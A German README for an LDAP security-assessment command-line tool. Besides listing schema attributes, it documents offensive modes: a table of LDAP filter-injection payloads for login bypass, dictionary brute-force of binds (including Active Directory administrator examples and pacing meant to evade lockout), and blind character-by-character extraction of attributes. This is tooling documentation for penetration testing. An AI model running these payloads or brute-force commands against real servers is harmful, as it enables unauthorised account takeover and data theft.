
CLI-Tool zur Durchführung grundlegender LDAP-Aufgaben für Sicherheitsbewertungen
Ein CLI-Tool, das gültige LDAP-Felder durch Abfrage des Subschema eines LDAP-Servers ermittelt. Es liest attributeTypes und objectClasses direkt vom Server, sodass die Ergebnisse stets widerspiegeln, was der Server tatsächlich unterstützt.
# Run directly without installing
nix run github:your-user/ldapin
# Or build and link into ./result/bin/ldapin
nix build github:your-user/ldapin
Für Nix- oder NixOS-Nutzer ist ein Paket verfügbar. Beachten Sie, dass die neuesten Releases möglicherweise nur
im unstable-Kanal vorhanden sind.
nix-env -iA nixos.lapin
Aus einem lokalen Checkout:
nix run .
nix build .
cargo install --path .
ldapin [OPTIONS]
Options:
-H, --host <HOST> LDAP server URL [default: ldap://localhost:389]
-D, --bind-dn <BIND_DN> Bind DN (omit for anonymous bind)
-w, --password <PASSWORD> Bind password
-W, --prompt-password Prompt for bind password interactively
-f, --filter <FILTER> Substring filter on name or description
-c, --object-class <NAME> Limit to a specific object class (with -m object-classes)
-m, --mode <MODE> What to show: attributes, object-classes, both [default: attributes]
-o, --output <OUTPUT> Output format: table, json, csv [default: table]
-b, --base-dn <BASE_DN> Base DN to search under (required for --mode login-bypass)
--user-attr <ATTR> User attribute name for login-bypass probes [default: uid]
--pass-attr <ATTR> Password attribute name for login-bypass probes [default: userPassword]
-u, --target-user <USER> Target username for login-bypass probes
--starttls Upgrade connection with STARTTLS
--insecure Skip TLS certificate verification
-h, --help Print help
-V, --version Print version
Alle Attributtypen auf einem lokalen Server auflisten:
ldapin
Authentifizieren und alle Objektklassen auflisten:
ldapin -H ldap://ldap.example.org -D 'cn=admin,dc=example,dc=org' -W -m object-classes
Alle Attribute im Zusammenhang mit mail finden:
ldapin -H ldap://ldap.example.org -f mail
Alles in JSON anzeigen:
ldapin -H ldaps://ldap.example.org -m both -o json
Alle Attribute nach CSV exportieren:
ldapin -H ldap://ldap.example.org -o csv > attributes.csv
Den inetOrgPerson-Objektklasseneintrag anzeigen:
ldapin -H ldap://ldap.example.org -m object-classes -c inetOrgPerson
Mit STARTTLS verbinden:
ldapin -H ldap://ldap.example.org --starttls -D 'cn=admin,dc=example,dc=org' -W
ForumSys stellt einen kostenlosen, schreibgeschützten LDAP-Server zum Testen bereit.
| Parameter | Wert |
|---|---|
| Host | ldap.forumsys.com |
| Port | 389 |
| Bind DN | cn=read-only-admin,dc=example,dc=com |
| Passwort | password |
| Base DN | dc=example,dc=com |
Alle Attributtypen auflisten (anonymes Bind):
ldapin -H ldap://ldap.forumsys.com
Alle Attributtypen auflisten (authentifiziert):
ldapin -H ldap://ldap.forumsys.com -D 'cn=read-only-admin,dc=example,dc=com' -w password
Alle Objektklassen auflisten:
ldapin -H ldap://ldap.forumsys.com -m object-classes
Die inetOrgPerson-Objektklasse anzeigen:
ldapin -H ldap://ldap.forumsys.com -m object-classes -c inetOrgPerson
Attribute nach Name filtern:
ldapin -H ldap://ldap.forumsys.com -f mail
Alles nach JSON exportieren:
ldapin -H ldap://ldap.forumsys.com -m both -o json
Der Modus login-bypass prüft einen LDAP-Server auf Filter-Injection-Schwachstellen.
Er konstruiert 11 Payloads, die von bekannten LDAP-Injection-Techniken abgeleitet sind, und meldet,
welche Einträge zurückgeben. Dasselbe Ergebnis würde eine anfällige Webanwendung erzeugen,
wenn sie ihren Authentifizierungsfilter aus nicht bereinigter Benutzereingabe aufbaut.
# Probe with anonymous bind, any-user payloads
ldapin -H ldap://target -m login-bypass -b dc=example,dc=com
# Probe for a specific account
ldapin -H ldap://target -m login-bypass -b dc=example,dc=com -u einstein
# Active Directory. Use sAMAccountName and unicodePwd
ldapin -H ldap://dc.corp -m login-bypass -b dc=corp,dc=local \
--user-attr sAMAccountName --pass-attr unicodePwd -u administrator
# JSON output for scripting
ldapin -H ldap://target -m login-bypass -b dc=example,dc=com -o json
Getestete Payloads:
| Payload | Filter-Vorlage |
|---|---|
wildcard-both | (&(uid=*)(userPassword=*)) |
wildcard-password | (&(uid=TARGET)(userPassword=*)) |
negate-password | (&(uid=TARGET)(!(userPassword=void))) |
or-always-true | (|(uid=*)(uid=TARGET)) |
double-or-inject | (|(uid=*)(uid=*)) |
and-tautology | (&(uid=TARGET)(|(userPassword=*)(userPassword=*))) |
objectclass-wildcard | (&(uid=*)(objectClass=*)) |
not-nonexistent | (!(&(uid=__ldapin_nonexistent__))) |
empty-password | (&(uid=TARGET)(userPassword=)) |
wildcard-user-prefix | (&(uid=TARGET*)(userPassword=*)) |
bare-user-wildcard | (uid=*) |
ldapin -H ldap://ldap.forumsys.com -m login-bypass -b dc=example,dc=com
Der Modus brute-force ermittelt zunächst den vollständigen DN des Zielbenutzers über eine LDAP-Suche und
versucht dann simple_bind(dn, password) für jede Zeile in der Wortliste, wobei beim ersten
Erfolg abgebrochen wird.
Erforderliche Flags: -b / --base-dn, -u / --target-user, --wordlist.
# Basic dictionary attack
ldapin -H ldap://target -m brute-force \
-b dc=example,dc=com -u jdoe --wordlist /usr/share/wordlists/rockyou.txt
# With a 500 ms delay between attempts to stay under lockout thresholds
ldapin -H ldap://target -m brute-force \
-b dc=example,dc=com -u jdoe --wordlist passwords.txt --delay 500
# Active Directory (use sAMAccountName)
ldapin -H ldap://dc.corp -m brute-force \
-b dc=corp,dc=local --user-attr sAMAccountName -u administrator \
--wordlist passwords.txt
# JSON output
ldapin -H ldap://target -m brute-force \
-b dc=example,dc=com -u jdoe --wordlist passwords.txt -o json
Der Fortschritt (DN-Auflösung, Versuchszähler, Ergebnis) wird nach stderr geschrieben; das Ergebnis geht nach
stdout, sodass -o json und -o csv sauber weitergeleitet werden können.
# Create a small wordlist with the known password
echo password > /tmp/test.txt
ldapin -H ldap://ldap.forumsys.com -m brute-force \
-b dc=example,dc=com -u einstein --wordlist /tmp/test.txt
Der Modus blind-extract rekonstruiert den Wert eines beliebigen lesbaren Attributs Zeichen für Zeichen
durch wiederholtes Abfragen mit Wildcard-Suffix-Filtern:
(&(uid=TARGET)(mail=a*)) -> no entries
(&(uid=TARGET)(mail=e*)) -> entries found -> 'e'
(&(uid=TARGET)(mail=ei*)) -> entries found -> 'ei'
...
Dies ist das direkte LDAP-Äquivalent zur klassischen blinden Injection-Schleife, die gegen anfällige Webanwendungen eingesetzt wird, die LDAP-Filter aus nicht bereinigter Eingabe aufbauen.
Erforderliche Flags: -b / --base-dn, -u / --target-user, --extract-attr.